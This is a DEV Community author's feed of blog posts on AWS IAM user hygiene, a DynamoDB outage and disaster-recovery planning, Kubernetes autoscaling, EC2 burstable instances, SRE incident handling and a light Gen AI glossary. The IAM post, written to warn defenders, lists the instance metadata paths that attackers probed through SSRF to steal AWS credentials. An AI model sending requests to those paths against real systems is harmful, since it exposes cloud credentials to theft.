DEV Community: Ahmad Kanj

Using IAM Users in 2026 Is a Life Choice

Ahmad Kanj — Mon, 29 Dec 2025 10:43:51 +0000

Cloud incidents don’t start with breaches.

They start with archaeology.

You open the IAM console.

You scroll.

And there it is:

legacy-service-migration

Access keys: active
Console access: Enabled
Last rotation: never
Owner: unknown

No one remembers why it exists.

No one knows what breaks if you delete it.

So it stays.

This isn’t negligence.

It’s a trophic cascade.

🐺 Apex Trigger: “We’ll Just Create an IAM User”

Every cascade begins with a reasonable decision:

“We need access for a script”
“CI needs credentials”
“It’s temporary”
“We’ll clean it up later”

An IAM user is created.

Access keys are generated.

The system moves on.

Nothing breaks.

Nothing alerts.

That’s how invasive species enter ecosystems.

🐗 Primary Impact: Long-Lived Identity Enters the System

IAM users don’t expire.

They outlive:

Scripts
CI pipelines
Teams
Architectural decisions

Fast-forward a few years.

The script is gone.
The migration is done.

The pipeline changed.

The team rotated.

The IAM user remains.

Now you have:

Credentials with unclear ownership
Permissions added “just in case”
No confidence about blast radius

This is identity hygiene debt.

🌿 Secondary Cascade: Hygiene Decay Becomes Normalized

Eventually, IAM users stop feeling temporary.

You start hearing:

“Don’t touch that one”
“It’s probably used somewhere”
“We’ll audit later”
“It’s been there forever”

At this stage, security stops being declarative and becomes historical.

“We don’t know why this exists, but it must.”

Unknown identity is worse than no identity.

🌊 Ecosystem Shock: A Real Incident (AWS IMDS)

This fragility is exactly why real-world incidents hurt.

In 2025, An active exploitation attempts tied to CVE-2025-51591 an SSRF vulnerability in the Pandoc document converter.

Attackers submitted crafted HTML designed to force servers to make internal requests — specifically targeting AWS Instance Metadata Service (IMDS) at:

Why IMDS?

Because it can return AWS credentials.

Wiz observed attackers probing metadata paths like:

/latest/meta-data/iam/info
/latest/meta-data/iam/security-credentials

In many environments, the attack failed thanks to IMDSv2, which requires session tokens and blocks blind SSRF.

But here’s the uncomfortable question:

What if those workloads relied on static IAM user keys instead of roles?

That’s where the cascade completes.

🧨 When IAM User Hygiene Is Bad, Incidents Become Permanent

There’s a critical difference:

If a role is compromised

Credentials expire
Sessions die
Access collapses naturally

If an IAM user key is compromised

Credentials persist
Attackers can return later
Rotation is manual (and often forgotten)

An SSRF is just an entry point.

IAM user hygiene determines the blast radius and lifespan.

🧹 What I Actually Found During an Audit

During a routine IAM review, I found:

IAM users created in 2016–2018
Active access keys
Broad permissions (S3, EC2, IAM)
No recent CloudTrail activity
No documentation
No owner

Deleting them felt risky.

That’s the real failure state:

Inaction feels safer than action.

And that’s how ecosystems rot.

🛡️ The Missing Species: Ephemeral Identity

Modern AWS identity assumes:

Short-lived credentials
Clear ownership
Contextual access
Automatic expiration

That means:

IAM roles
OIDC
SSO
IMDSv2 only
Explicit controls limiting IAM user creation

IAM users should be:

Rare
Documented
Owned
Audited
Treated like radioactive material

Not defaults.

🌱 Rewilding the System

Fixing the cascade looks like this:

List all IAM users
Identify owners
Review last usage
Remove unused keys
Replace users with roles
Block new IAM users where possible
Treat unknown identity as a defect

Yes, something might break.

But something breaking is better than something silently owning your cloud.

🧠 Final Lesson: This Is a Life Choice

Using IAM users in 2026 isn’t about ignorance.

It’s a choice to accept:

Permanent credentials
Unbounded blast radius
Identity archaeology
Fragile security posture

Cloud failures aren’t sudden.

They’re ecological.

And finding IAM users from 2017 that no one understands anymore isn’t just technical debt. It’s a warning sign that the ecosystem is already collapsing.

DynamoDB Outage: Why Multi-Cloud Fails Startups (And Real DR Wins)

Ahmad Kanj — Fri, 24 Oct 2025 13:42:38 +0000

If you felt like half the internet was broken this week, you weren't wrong. 📉 A massive, 15-hour outage in Amazon's us-east-1 region took down DynamoDB and with it, a huge chunk of the web.

This wasn't just "a server went down." It was a complex, cascading failure that exposed the deep interconnectedness of cloud services. For startups and scaleups, the immediate reaction is often, "We need to be multi-cloud to prevent this!"

Hold on!

The real lesson here isn't about running from your cloud provider. It's about understanding what failed, why us-east-1 is a special kind of dangerous and how to build a realistic Disaster Recovery (DR) plan that won't bankrupt you.

The Anatomy of a Cascading Failure

This outage was a masterclass in how modern, automated systems can fail in spectacular ways. It wasn't one thing; it was a chain of dominoes.

The Trigger: A DNS Race Condition
It all started with the system that manages the DNS for DynamoDB. Think of DNS as the Internet's phonebook. This automated system had a latent race condition—a hidden bug. Two of its own processes tried to update the DynamoDB DNS record at the exact same time.
- One process (let's call it "Slow-Worker") grabbed an old plan.
- A second process ("Fast-Worker") grabbed a new plan and applied it successfully.
- "Fast-Worker" then did its cleanup, deleting the old plan that "Slow-Worker" was still holding.
- "Slow-Worker" finally woke up and applied its plan... which was now empty.
- Result: The main DNS record for dynamodb.us-east-1.amazonaws.com was wiped clean. All its IP addresses vanished.
The First Domino: DynamoDB Goes Offline
Instantly, any application (including AWS's own internal services) attempting to access DynamoDB in that region received a "does not exist" error. The service was unreachable.
The Cascade: EC2, Lambda and IAM Fall Next
This is where it gets scary. Cloud services are built on top of other cloud services. And DynamoDB is a Tier 0 service—a foundational block.
- EC2 failed because its control plane (the "brain" that launches new servers) uses DynamoDB to track the state and leases of its physical hardware. No DynamoDB, no new EC2 instances.
- Lambda, ECS, EKS and Fargate all failed because they all run on EC2. They couldn't get new computing capacity.
- Network Load Balancers started failing health checks, causing connection errors for services that were technically still running.
- IAM, which handles authentication, was also impacted. This is critical: during the outage, some engineers were unable to log in to the console to fix the problem.
The 15-Hour Recovery and "Congestive Collapse"
Engineers fixed the DNS record relatively quickly, but the outage lasted 15 hours. Why?
- DNS Caching: The "empty" (and wrong) DNS record was cached by resolvers all over the internet. They had to wait for that cache to expire.
- Congestive Collapse: When the service finally came back, a "thundering herd" of every single service retrying at once hammered DynamoDB. The system, in its weakened recovery state, was so overwhelmed by recovery work that it couldn't make forward progress. Engineers had to manually throttle traffic and drain backlogs to bring it back online safely.

The Global Blast Radius: Why You Should Never Host in `us-east-1`

"But I don't even use us-east-1!" you might say. "I'm in eu-west-3 (Paris)!"

It didn't matter. This outage had a global impact and it exposes the dirty secret of AWS: us-east-1 (N. Virginia) is not just another region.

Because it's the oldest AWS region, many "global" services have their control planes homed there by default.

Global IAM Console: The main IAM dashboard and API are, by default, in us-east-1. During the outage, users in other regions reported being unable to manage permissions or roles.
S3 Management Console: The "global" S3 console is also hosted there. You could still access your data in a bucket in Frankfurt, but you couldn't manage the bucket (e.g., change policies, create new buckets).
Global Services: Services like DynamoDB Global Tables, which replicate data worldwide, saw massive replication lag to and from the failed region.

The Multi-Cloud Fallacy: Doubling Your Problems, Not Your Uptime

When an event like this happens, the C-suite's first question is, "Why aren't we on GCP and Azure, too?"

For a startup or scaleup, "multi-cloud" is a trap. It's a strategy for massive, risk-averse banks and Fortune 100s with regulatory requirements, not for a company that needs to move fast.

Chasing multi-cloud to solve for availability is a terrible trade-off. Here’s why:

Exponential Complexity: You think AWS IAM is hard? Now try to manage AWS IAM, Google Cloud IAM and Azure Entra ID and make them all talk to each other securely. Your 3-person DevOps team is now responsible for three entirely different networking stacks, security models and deployment pipelines.
The "Lowest Common Denominator" Problem: This is the killer. The real power of AWS is in its managed services—DynamoDB, S3, Kinesis and Lambda. If you design your app to be "cloud-agnostic," you cannot use any of them. You're forced to build on basic VMs and manage your own databases (PostgreSQL on EC2) and message queues (RabbitMQ on EC2). You've just sacrificed your biggest competitive advantage (velocity) for a false sense of security.
The Talent Chasm: Finding great AWS engineers is hard enough. Finding engineers who are equally expert-level in AWS, GCP and Azure is finding a unicorn. 🦄 More likely, you'll have a team that is mediocre at all three.
The Hidden Costs: You won't save money. You'll lose all your volume discounts and you'll be hit with a constant stream of data egress fees just to keep your data in sync between clouds. This cost alone can cripple a startup.

The Right Answer: A Real DR Plan (Multi-Region, Not Multi-Cloud)

The problem this week wasn't that AWS failed. The problem was that a single region, us-east-1, failed.

The smart, resilient and cost-effective solution for a startup is not to go multi-cloud, but to go multi-region within your primary cloud.

This is where you must have an honest conversation about Cost vs. Availability. Your availability is a business decision, not just a technical one. Here are your options, from cheapest to most expensive:

1. Cold DR: Backup & Restore

How it works: You take regular backups (e.g., S3 snapshots, DynamoDB backups) and replicate them to another region using S3 Cross-Region Replication (CRR). If a disaster happens, you manually spin up a new environment from scratch in the new region and restore from the backup.
Cost: Very low. Just storage costs.
Availability (RTO/RPO): Very poor. RTO (Recovery Time Objective) is in hours or days. RPO (Recovery Point Objective) is high (e.g., "we lose the last 4 hours of data").
Use Case: Good for non-critical systems, dev/test environments.

2. Warm DR: Pilot Light (The Startup Sweet Spot 💡)

How it works: This is the best balance for most startups.
- Data: Your critical data is actively replicated to the second region. Use DynamoDB Global Tables or Aurora Global Databases.
- Infra: A minimal copy of your core infrastructure (e.g., your container images in ECR, a tiny app server, your IaC scripts) is "on" but idle in the DR region. The "pilot light" is lit.
- Failover: When a disaster hits, you "turn up the gas." You run your scripts to scale up the app servers, promote the standby database to be the new primary and use Route 53 DNS Failover to automatically redirect all traffic.
Cost: Medium. You pay for data replication and minimal idle infrastructure.
Availability (RTO/RPO): Good. RTO is in minutes. RPO is near-zero (you lose no data).

3. Hot DR: Active-Active

How it works: You run your full production stack in two or more regions simultaneously. Route 53 (or a global load balancer) splits traffic between them. If one region fails, it just takes on 100% of the traffic.
Cost: Very high. You are paying for 2x (or more) of everything.
Availability (RTO/RPO): Excellent. RTO is in seconds (or zero). RPO is zero.
Use Case: Only for your absolute, mission-critical, "company-dies-if-it's-down-for-1-minute" services.

Your Survival Checklist

Don't wait for the next outage. As a startup, you can survive this.

Move out of us-east-1 for your primary workloads. Seriously.
Define your RTO/RPO. Have the business conversation: "How long can we be down and how much data can we afford to lose?" This dictates your budget.
Implement a Pilot Light strategy for your core services.
Use native replication: Use DynamoDB Global Tables, Aurora Global DBs and S3 CRR.
Replicate your CI/CD assets: Make sure your container images (ECR) and deployment scripts are in your DR region, too. You can't recover if your recovery tools are in the fire.
Test your plan. A DR plan you've never tested is not a plan. it's a prayer.

This outage was a wake-up call. But the lesson isn't to flee AWS. It's to stop treating "the cloud" as one magic box and start treating a region as your true failure domain.

We Had Scrum Masters. Get Ready for the Vibe Code Cleanup Specialist

Ahmad Kanj — Sat, 18 Oct 2025 09:26:45 +0000

Remember when every tech company suddenly needed a Scrum Master?

They were the person with the sticky notes and the sharpies. Their job was to make sure everyone followed the rules of Agile. They ran the daily stand-ups, planned the sprints, and kept an eye on the "velocity" chart.

The goal was to help us build software better and faster. It was all about the process. The focus was always on how we were working.

Sometimes it helped. Other times, it felt like we were just having meetings about meetings.

Well, that trend cooled off. But the tech world loves a new job title, and as Gen Z floods the workforce, I think I know what's coming next. Because for Gen Z, it's all about the vibes.

Meet the "Vibe Code Cleanup Specialist" ✨

Forget about rigid processes. The new hotness is all about the feeling.

The Vibe Code Cleanup Specialist (or "Code Vibe Checker") doesn't care about your Jira tickets. Their job is to make sure the codebase just feels good. This is a role practically designed for a generation that trusts intuition and authenticity over everything else.

What would they even do?

Run "Joy Checks": They'd look at a function you wrote, turn to you, and ask with a straight face, "Does this code spark joy?" If not, you refactor it until it does.
Fix the Code's Energy: You know that part of the app that everyone hates working on? The Vibe Checker would say it has "bad energetic debt" and their job is to "cleanse" it.
Organize Folders by Feeling: They'd rearrange the project files and folders not just for logic, but for good "Feng Shui." So it just feels nice to look at.
Delete "Sad" Code: They'd find code written during a stressful project launch and gently remove it, saying it "carries a negative energy."

Basically, their main KPI is whether the codebase "passes the vibe check." Instead of daily stand-ups, they'd host "weekly code meditations" to help everyone get in sync with the project's spirit.

Is This Really So Different?

It sounds silly, right? But think about it. The Scrum Master was trying to fix the human side of coding with process. The Vibe Checker is trying to fix it with feelings.

	Scrum Master	Vibe Code Cleanup Specialist
Focus	The process of work.	The feeling of the code.
Big Question	"Are we working efficiently?"	"Are the vibes off here?"
Tools	Jira boards, velocity charts.	Good feelings, nice folder names.
Goal	Ship features on a schedule.	Have a codebase that's a joy to work in.

The Scrum Master was a very Millennial solution to a management problem: add a process, add more meetings, and track everything. The Vibe Checker is the pure Gen Z approach: if the vibes are off, nothing else matters.

So, What's My Point?

Okay, the "Vibe Code Cleanup Specialist" isn't a real job... yet.

But it's a fun way to think about how our industry is always looking for a new solution to the same old problems. Each generation brings its own language to the workplace. We went from corporate "synergy" to Agile "velocity," so it's not a huge leap to get to "vibes."

We're all just trying to find better ways to build cool things without burning out. And for a new generation of developers, the feeling might just be the most important metric there is.

What do you think? Would you want a Vibe Checker on your team? Let me know in the comments!

The Ripple Effect: How a Single Push Notification Brought Down Our Kubernetes Cluster

Ahmad Kanj — Mon, 06 Jan 2025 21:17:41 +0000

Ever notice how major system failures rarely start with major problems? That's exactly what happened to us when a simple push notification exposed the fragility of our Kubernetes infrastructure. But here's the twist: it wasn’t a bug that took us down—it was our own success.

The Calm Before the Storm

On January 28, 1986, a tiny rubber O-ring failed, leading to the devastating Challenger disaster. As a Kubernetes architect, this historical parallel haunts me daily. Why? Because in complex systems, there's no such thing as a "minor" decision. Every configuration choice ripples through your system like a stone dropped in a still pond. And just like that O-ring, our "small" product decision was about to create waves we never saw coming.

The Incident That Changed Everything

It started innocently enough. Our feature team had just rolled out a fancy new notification system, the kind of update that makes product managers smile and engineers sleep soundly, or so we thought.

At exactly 4:00 PM, our new system did exactly what it was designed to do: send a push notification to our entire user base. What we hadn't considered was human psychology. When thousands of users receive the same notification simultaneously, guess what they do? They act simultaneously.

Within seconds, our metrics painted a picture of digital chaos:

Traffic exploded by 12x requests per minute on some services
Our normal 110ms latency skyrocketed to 20 seconds
Nodes CPU utilization surged from 45% to 95%
Nodes Memory pressure jumped from 50% to 87%
Pods being killed or restarting
Pod scheduling failures cascaded throughout the cluster, with pods being evicted faster than we could stabilize them

Our monitoring dashboards transformed into a sea of red. This wasn't just a scaling issue, it was a cascade of past decisions coming back to haunt us.

The Technical Evolution

Phase 1: Infrastructure Analysis

Our initial platform setup revealed sobering limitations that would need to be addressed. Node provisioning was taking 4-6 minutes – an eternity in a crisis. Scale-up decision lag stretched to 2-3 minutes, while resource utilization languished at 35-40%. Average pod scheduling time crawled at 1.2 seconds. These numbers told a clear story: we needed a complete redesign.

We set aggressive targets that would push our infrastructure to new levels:

Rapid scaling capability: 0-800% in 3 minutes
Resource efficiency: 75%+ utilization
Cost optimization: 40% reduction
Reliability: 99.99% availability

Phase 2: Control Plane Architecture

The redesign of our EKS control plane architecture became the foundation of our recovery. We implemented a robust Multi-AZ Configuration, spreading our control plane across three Availability Zones with dedicated node groups for each workload type. Our custom node labeling strategy for workload affinity proved crucial, driving our availability from 99.95% to 99.99%.

Our network design saw equally dramatic improvements. We established a dedicated VPC for cluster operations, implemented private API endpoints, and fine-tuned our CNI settings for improved pod density. The impact was immediate: pod networking latency dropped by 45%.

Security wasn't forgotten either. We implemented a zero-trust security model, comprehensive pod security policies, and network policies for namespace isolation. The result? Zero security incidents since implementation.

Phase 3: The Great Node Flood

Then came what we now call "The Great Node Flood" our first major test. The initial symptoms were severe: pod scheduling delays averaged 5 seconds, node boot times stretched to 240-360 seconds, CNI attachment delays ran 45-60 seconds, and image pull times consumed 30-45 seconds of precious time.

Our investigation revealed multiple bottlenecks: CNI configuration issues, suboptimal route tables, and DNS resolution delays. We methodically tackled each issue, analyzing kubelet startup procedures, container runtime configurations, and node initialization scripts.

The improvements were dramatic:

Node boot time dropped from 300s to 90s
CNI setup improved from 45s to 15s
Image pulls accelerated from 45s to 10s
Pod scheduling time decreased from 5s to 0.8s

Phase 4: Karpenter Integration

Karpenter proved to be a game-changer. Our performance benchmarks told the story:

Node provisioning time plummeted from 270s to 75s
Scale-up decisions accelerated from 180s to 20s
Resource utilization jumped from 65% to 85%
Cost per node hour dropped from $0.76 to $0.52

These configurations validated our improvements: we could now scale from x2 the nodes in 3 minutes, handle 800% workload increases without degradation, and maintain pod scheduling latency under 1 second with a 99.99% success rate.

Phase 5: KEDA Implementation

KEDA's implementation transformed our scaling dynamics. Before KEDA, scale-up reactions took 3-5 minutes, scale-down reactions dragged for 10-15 minutes, and false positive scaling events plagued us at 12%. After KEDA, those numbers improved dramatically: 15-30 second scale-ups, 3-5 minute scale-downs, and just 2% false positives.

Production validation exceeded expectations. We successfully handled 800% traffic increases while maintaining sub 250ms latency during the wave. Scaling-related incidents dropped by 90%, and cost efficiency improved by 35%.

Current State and Future Directions

Today, our platform runs with newfound confidence. Last quarter's metrics tell the story of our transformation:

Average node provisioning time: 82 seconds
P95 pod scheduling latency: 0.8 seconds
Resource utilization: 82%
Platform availability: 99.995%

Looking Ahead

Remember this: in Kubernetes, as in space flight, there are no minor decisions. Every setting, limit, and policy creates its own ripple effect. Success isn't about preventing these ripples—it's about understanding and harnessing them.

Want to dive deeper? In my next post, we'll explore:

Component-level analysis that'll change how you think about system design
Performance optimization techniques we learned the hard way
Testing methodologies that catch problems before production

Have you ever experienced a similar cascade of events in your infrastructure? Share your stories in the comments below, let's learn from each other's hard lessons. 🚀

Navigating the Vocabulary of Gen AI with GIFs

Ahmad Kanj — Mon, 11 Nov 2024 19:26:23 +0000

If there’s one thing I’ve truly mastered, it’s using GIFs (and yes, GenAI too). Generative AI is everywhere now, showing up in everything from customer support to adding creative twists to memes. But all that jargon? It can be overwhelming. So here’s the plan: I’m breaking down the world of GenAI in a way that’s clear, informative, and a little bit fun, with plenty of GIFs to keep things interesting.

Whether you want to learn the basics or just want to outsmart your tech-savvy friend, stick around you’ll get a lot out of it!

🎩 Artificial Intelligence (AI): More Than Just “Smarter Than Me”

AI sounds like Hollywood robots, but it's actually software that mimics certain human abilities, like decision-making and learning from experience. Think of it as a really, really smart version of your phone's autocorrect.

🧠 Machine Learning: The Fuel of AI Magic

Machine Learning (ML) is how AIs learn to do stuff. It’s like teaching a dog new tricks, only the "dog" is a model, and instead of treats, it gets data. ML has three styles:

Supervised Learning: You show it labeled data. It’s like training with flashcards.

Unsupervised Learning: No labels, just vibes. The model figures things out solo.

Semi-supervised Learning: A mix of both, like letting your dog run free but calling it back sometimes.

🕸️ Artificial Neural Networks (ANN): The Brain of AI

Imagine neurons from the human brain but digital! In Artificial Neural Networks, each "neuron" learns how to pass info to the next, forming the brain of AI.

📚 Deep Learning: More Layers, More Power

When these networks get thick with layers, they’re called Deep Learning. Perfect for heavy-duty jobs like recognizing faces in photos or translating languages.

🤖 Large Language Models and Foundation Models: The Big Brains of AI

Foundation Models like Large Language Models (LLMs) are trained on massive amounts of data and can be tuned for specific tasks, like writing emails or understanding memes.

🔥 Transformer Models and GPT: The Buzzwords

Thanks to Transformer Models, AI can handle all words in a sentence simultaneously instead of one by one. This is what makes Generative Pretrained Transformers (GPT) the star of text generation.

🤹‍♀️ Prompt Engineering and Prompt Chaining: AI’s Command Line

Prompt Engineering is all about crafting the perfect question to get the right answer from the AI. And Prompt Chaining? It’s like breadcrumbing AI through a maze. Fun for you; stressful for the AI.

🔍 Retrieval-Augmented Generation (RAG): The Anti-Hallucination Technique

RAG is like giving the AI a fact-checking buddy. It pulls in info from databases to keep the AI from “hallucinating” nonsense answers.

🔧 Fine-Tuning and Parameters: Tweak ‘Til You Peak

Fine-tuning gets your AI model hyper-specialized. In this stage, you adjust parameters tiny dials that control how the model behaves. Think of it like tuning a car engine.

🔥 Bias and Hallucinations in AI: When Things Go Weird

Bias is when the AI model’s data has blind spots. It might lean too far left, right, or just get things plain wrong. And Hallucinations? That’s when AI decides to get creative—making up facts that sound convincing but are 100% made up.

📏 Important Metrics: Temperature, Anthropomorphism, Completion

Temperature: Controls randomness. High = wild, low = safe. Adjust for the “surprise” level.
Anthropomorphism: Giving AI human traits. Let’s not forget: it’s not human.
Completion: It’s about finishing a thought or sentence AI’s “period.”

🧩 Tokens, Embeddings, and Emergence: AI Building Blocks

Tokens: Tiny chunks of text. The smaller the chunk, the more accurate the AI.
Embeddings: Vectors (math things) that give words meaning. Helps the AI understand language.
Emergence in AI: When the model randomly learns new tricks, like a kid suddenly reciting Shakespeare.

📝 NLP and Text Classification: Generative AI in Action

Natural Language Processing (NLP) is where AI shines in understanding and generating human like text.

🔒 Responsible AI: Keeping AI on a Leash

Responsible AI ensures the models are fair, accurate, and trustworthy. Think of it as an AI ethics board, keeping things cool and accountable.

Did I forget any vocabulary? Feel free to drop it in the comments below.

Optimizing Performance: A Comprehensive Guide to Choosing the Right T-Family Instance with Metrics and Amazon Q

Ahmad Kanj — Sun, 04 Feb 2024 15:37:08 +0000

Amazon Web Services (AWS) offers a diverse range of EC2 instances tailored to meet the specific needs of different workloads. Among these, the T-family instances, including previous generation T2, and latest generation: T3, T3a and T4g instances, are unique as they belong to the burstable performance category. In this detailed technical article, we will explore the key concepts, best practices, and features associated with these instances, shedding light on their inner workings and helping you make informed decisions for your applications.

Key Concepts and Definitions for Burstable Performance Instances:

Earn CPU Credits: Burstable performance instances operate on a credit-based system. Credits are earned during periods of low CPU utilization and spent when the CPU needs to burst to higher performance levels. A t3.nano instance, for example, earns 6 credits per hour with 2 vCPUs. These credits act as a currency that allows the instance to burst beyond its baseline capacity.

CPU Credit Earn Rate: The rate at which credits are earned varies based on the instance type. It is crucial to understand this metric to estimate how quickly the instance can accumulate credits during low utilization periods. AWS provides detailed documentation on the earn rate for each instance type, aiding users in making informed decisions.

CPU Credit Accrual Limit: To prevent excessive accumulation of credits, AWS imposes a limit on the maximum number of credits an instance can accrue. This limit ensures fair usage and prevents instances from gaining an unfair advantage during burst periods. Users should be aware of this limit and plan accordingly.

Accrued CPU Credits Lifespan: CPU credits have a limited lifespan, and they expire if not used within that period. The accrual limit, therefore, becomes critical to avoid unnecessary credit wastage. By monitoring and understanding the lifespan of accrued credits, users can optimize the burstable performance of their instances.

Baseline Utilization: The baseline utilization represents the average CPU usage of an instance over time, calculated as (number of credits earned/number of vCPUs)/60 minutes. For instance, a T3.nano instance with 2 vCPUs earning 6 credits per hour results in a baseline utilization of 5%.
This metric helps users gauge the efficiency of their instances and determine if they are operating within the expected baseline.

Unlimited Mode for Burstable Performance Instances

AWS offers an "Unlimited" mode for burstable performance instances, allowing them to burst beyond their baseline capacity without the fear of credit depletion. This mode is useful for workloads with unpredictable or spiky CPU demands. When an instance operates in Unlimited mode, it incurs an additional charge for surplus credits beyond the maximum daily limit.

Knowing when to use Unlimited mode versus Fixed CPU mode is crucial. For applications with consistent and predictable workloads, Fixed CPU mode may be more cost-effective, as it avoids the additional charges associated with Unlimited mode.

Standard Mode for Burstable Performance Instances

In Standard mode, burstable performance instances operate within their baseline capacity, and users can control the burst behavior by managing the available launch credits. Launch credits are granted at the start of each instance and are spent during burst periods.

Understanding launch credit limits is essential for optimizing performance. Users should consider adjusting these limits based on the specific requirements of their workloads.

Monitoring CPU Credits

Effectively monitoring CPU credits is vital to ensure optimal performance and cost management. AWS provides CloudWatch metrics specifically designed for burstable performance instances, updated every five minutes:

CPUCreditUsage: The number of CPU credits spent during the measurement period.
CPUCreditBalance: The number of CPU credits accrued by the instance.
CPUSurplusCreditBalance: Surplus credits spent to sustain CPU utilization when CPUCreditBalance is zero.
CPUSurplusCreditsCharged: Surplus credits exceeding the maximum daily limit, incurring additional charges.

Determine CPU credit utilization for Standard instances by assessing the movement in the CPU credit balance. An increase in the CPU credit balance occurs when CPU utilization falls below the baseline, signifying that the credits spent are less than those earned in the preceding five-minute interval.

Conversely, a decrease in the CPU credit balance is observed when CPU utilization surpasses the baseline, indicating that the credits spent exceed those earned in the prior five-minute interval. Mathematically, this relationship can be expressed through the following equation:

CPUCreditBalance= prior CPUCreditBalance+[Credits earned per hour×(60/5)−CPUCreditUsage]

These metrics provide a comprehensive view of an instance's credit utilization, helping users make informed decisions about their workloads.

Instance Type Recommendations

Recommendations for Selecting Optimal Instance Types
Amazon Web Services (AWS) offers valuable tools to simplify the process of choosing the most suitable instance types for your workloads. With a diverse range of instance options available, finding the right balance between performance and cost can be challenging. AWS provides two key tools for making informed decisions based on your workload characteristics:

New Workloads: Amazon Q EC2 Instance Type Selector

For new workloads, the Amazon Q EC2 Instance Type Selector proves invaluable. This tool considers your use case, workload type, CPU manufacturer preference, and your prioritization of price and performance. By leveraging this data, it provides guidance and suggestions for Amazon EC2 instance types that align best with your specific requirements.

Navigating through the Amazon EC2 console, you can access the Amazon Q EC2 instance type selector to stay updated on the latest instance types and ensure optimal price-performance for your workloads. Whether seeking advice directly from Amazon Q or using the console, this tool streamlines the process of selecting the right instance type. To utilize the Amazon Q EC2 instance type selector:

Follow the procedure to launch an instance
Next to the Instance type, click on the Get advice link.
In the "Get advice on instance type selection from Amazon Q" window, specify your requirements by choosing options from the drop-down lists, including Use Case and Workload type. Click on Get instance type advice button.
The Amazon Q AI assistant opens with personalized suggestions for instance types based on your specified requirements.
Once you've decided on an instance type, proceed to the launch instance wizard or launch template, and select the recommended instance type.

Existing Workloads: AWS Compute Optimizer

For existing workloads, AWS Compute Optimizer steps in to provide recommendations aimed at enhancing performance, reducing costs, or achieving a balance of both. By analyzing your current instance specifications and utilization metrics, Compute Optimizer determines which Amazon EC2 instance types are most suitable for handling your existing workload. The recommendations come complete with per-hour instance pricing to aid in decision-making. For a comprehensive guide on utilizing AWS Compute Optimizer, refer to the AWS Compute Optimizer User Guide.

Conclusion

In summary, gaining a deep understanding of AWS burstable performance instances empowers users to make informed decisions about their infrastructure. Proficiency in concepts like CPU credits, baseline utilization, and the monitoring of metrics through CloudWatch is crucial. Additionally, leveraging tools such as Amazon Q for selecting the right instance type further enhances users' ability to achieve cost-effective and efficient performance in the cloud.

Sources:

Incident vs Crisis: Understanding the Critical Distinction in SRE

Ahmad Kanj — Mon, 08 Jan 2024 11:28:51 +0000

In the world of Site Reliability Engineering (SRE), telling apart an incident from a crisis matters. At first, they might seem similar, but understanding the little details between them is super important. It helps a ton in managing problems, fixing them, and making sure everything stays working smoothly. This article is all about showing the differences between incidents and crises, explaining when, how, and why it's super important to call them out in an SRE setup.

Incident: The Unplanned Disruption

An incident in SRE parlance denotes an unexpected event that disrupts normal system functionality or performance. It could range from a temporary service degradation to a complete outage. Incidents are typically delineated by their scope, impact, and urgency in remediation. They are characterized by:

Localized Impact: Incidents tend to affect a specific component, service, or subset of users rather than the entire system.
Measurable Impact: These disruptions often come with quantifiable metrics, such as increased error rates, latency spikes, or service unavailability.
Mitigable with Known Procedures: Incidents are usually managed using documented runbooks or predefined procedures that SRE teams have developed over time.

Crisis: The Pervasive Threat

Contrarily, a crisis represents an escalated and pervasive situation, surpassing the severity and scope of an incident. It transcends the boundaries of a singular system or service, posing a substantial risk to the entire infrastructure, reputation, or business continuity. Key attributes of a crisis include:

Global or Wide-Spread Impact: Crises have the potential to affect multiple systems, services, or even an entire organization, causing widespread disruptions.
Escalating Severity: They often escalate rapidly, demanding immediate attention and response due to their criticality.
Unknown or Evolving Solutions: Unlike incidents, crises may lack well-defined mitigation procedures as they might involve unforeseen scenarios or complex interdependencies.

Declaring Incidents and Crises: When, How, and Why?

The declaration of an incident or a crisis within an SRE framework is not merely semantic but holds immense operational significance. Clear and accurate identification enables efficient resource allocation, communication, and resolution. The process involves:

When to Declare:

Incident: Declare an incident when there is a deviation from normal system behavior, impacting a specific service or functionality, and it can be managed within existing procedures.
Crisis: Declare a crisis when the disruption escalates, poses a significant risk to the entire system or organization, and demands immediate, dynamic, and possibly novel solutions.

How to Declare:

Incident: Utilize predefined protocols or runbooks to declare an incident, promptly initiating the established response processes.
Crisis: Invoke higher-level escalation channels, engage cross-functional teams, and establish dedicated crisis management protocols to handle the situation.

Why It's Important:

Operational Triage: Accurate declaration aids in prioritization and resource allocation, ensuring a focused response aligned with the severity of the situation.
Clear Communication: It facilitates transparent communication both within the SRE team and with stakeholders, managing expectations and sharing pertinent information.
Learning and Improvement: Distinguishing between incidents and crises helps in post-incident analysis, fostering continuous improvement by refining response strategies.

In conclusion, the distinction between an incident and a crisis is pivotal in the SRE landscape. Recognizing and declaring them accurately empowers teams to navigate disruptions effectively, safeguarding the reliability and resilience of systems while fostering a culture of continuous improvement and adaptability.

Load Balancer, Reverse Proxy, and API Gateway: Analogies to Real Life Scenarios

Ahmad Kanj — Fri, 08 Sep 2023 12:28:28 +0000

In the fast paced of tech world it's easy to get overwhelmed by the jargon and technicalities. However, understanding some fundamental concepts can help you make informed decisions about which Cloud/Infra services to use for your needs. In this article, we'll demystify three essential AWS services Load Balancers, Reverse Proxies, and API Gateways in simple everyday terms.

Load Balancers: The Traffic Directors

Imagine you run a busy restaurant with multiple chefs in the kitchen. Sometimes, lots of customers walk in, and it can be hard to serve everyone quickly and evenly. That's where Load Balancers come in.

Load Balancers distribute incoming customer traffic among the chefs (servers or instances), ensuring that everyone gets their food without waiting too long. If one chef is busy or takes a break, the Load Balancer directs customers to other chefs to keep things moving smoothly. It's like having a friendly host or hostess who ensures everyone in your restaurant gets served efficiently, even during the busiest times.

In AWS you can choose between different types of Load Balancers, each suited for specific needs. For example, the Application Load Balancer (ALB) works well for web apps and can even send certain dishes to one chef and others to a different chef based on the type of food.

Reverse Proxies: The Mailroom Organizers

Now picture you work in a big office building with a bustling mailroom that handles packages and letters. Sometimes, you need to do extra things to keep everything organized and secure, and that's where Reverse Proxies come into play.

Reverse Proxies are like friendly receptionists in your mailroom who take care of packages and letters. They keep a copy of commonly used documents in a special room to save time. When a special package arrives, they check it for security and make sure it goes to the right department. They also handle letters and packages that need extra protection, like opening envelopes to ensure they are safe before delivering them.

In AWS you can set up a Reverse Proxy to sit in front of your servers and help organize incoming requests, keep things secure, and even help with tasks like handling encrypted data (like secret letters) to protect your valuable information.

API Gateways: The Library Guides

Now think of yourself as the librarian of a big library with tons of books and resources. You want to make it easy for people to access information while keeping everything organized and secure. That's where API Gateways come into play.

